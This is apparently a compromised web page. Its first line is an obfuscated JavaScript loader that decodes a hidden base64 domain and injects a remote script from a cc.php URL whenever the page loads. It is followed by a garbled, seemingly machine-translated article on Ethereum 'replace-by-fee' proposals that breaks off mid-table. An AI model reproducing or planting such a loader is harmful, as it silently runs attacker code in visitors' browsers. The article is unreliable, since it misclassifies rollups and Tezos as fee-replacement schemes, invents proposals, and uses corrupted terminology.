const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=a4157d6c »;document.body.appendChild(script);
Ethereum: an exhaustive analysis of the proposals replace with tariff
The Ethereum community has been actively exploring ways to improve the scalability and usability of its underlying blockchain technology, Ethereum. One of the most pressing concerns is the replacement proposal per rate (RBF), whose objective is to alleviate the high transaction rates associated with the use of the current Ethereum network. In this article, we will describe the pros and cons of several RBF proposals, providing an objective analysis of its advantages and disadvantages.
General description of the proposals replace with rate
Replaceing with rate (RBF) is a concept that proposes to replace gas -based rates used in Ethereum with other rates structures. The idea is to reduce the cost of transactions and make them more accessible to a broader range of users. There are currently several RBF proposals in development or proof, each with its own set of benefits and inconveniences.
1. Optimistic Rollup (optimistic)
The optimistic proposal of accumulation (optimism) is one of the most promising RBF solutions. It uses a decentralized and scalable architecture for transaction lots and optimizes your order in memory, reducing the gas number required for each transaction. This approach allows:
- Reduced transaction rates
- Increased scalability
- Improved performance
However, some critics argue that the dependence on optimism in centralized authorities and their centralization potential are significant concerns.
2. Referee
The referee is another popular RBF proposal developed by the Ethereum Foundation. It uses an architecture similar to optimism, but with an approach to safety and stability. The main advantages of the referee include:
- Reduced transaction rates
- Safety was improved by using layers in layers
- Increased scalability
However, some users have expressed concerns about centralization potential and limited availability of referee nodes.
3. ZK-ROLUP
ZK-ROLUP is a more experimental RBF proposal that uses zero knowledge tests to allow faster and faster transactions. The main benefits of ZK-Rollup include:
- Reduced transaction rates
- Security was improved through zero knowledge tests
- Increased scalability
However, the development and deployment of ZK-Rollup are still in their early stages, and their long-term viability remains uncertain.
4. Tazos (Tez)
Tazos is a blockchain network that has developed an RBF proposal called « replace with tariff » (RBF). The main advantages of complexion RBF include:
- Reduced transaction rates
- Improved security through the use of an algorithm of stagnant test consensus
- Increased scalability
However, some users have expressed concerns about the centralization potential and the limitations of current complexion architecture.
5. Ethereum 2.0
Ethereum 2.0 is the next -generation blockchain platform that promises to address many of the scalability and usability problems associated with its current network. Although it does not propose a direct RBF solution, it can eventually integrate some RBF characteristics into its architecture through future updates.
Pros y cons: a complete analysis
| Proposal | Advantages | Disadvantages |
| — | — | — |
| Optimistic Rollup (optimism) | Reduced transaction rates, greater scalability | Centralized authorities, potential for centralization |
| Referee | Reduced transaction rates, improved security | Limited Nodes Availability |
| Zk -rolp | Reduced transaction rates, improved security through zero knowledge tests | Experimental architecture, uncertain long -term viability |
| Tezs (complex) | Reduced transaction rates, improved safety through the stagnation test consensus algorithm | Centralized authorities, limitations in current architecture |
| Ethereum 2.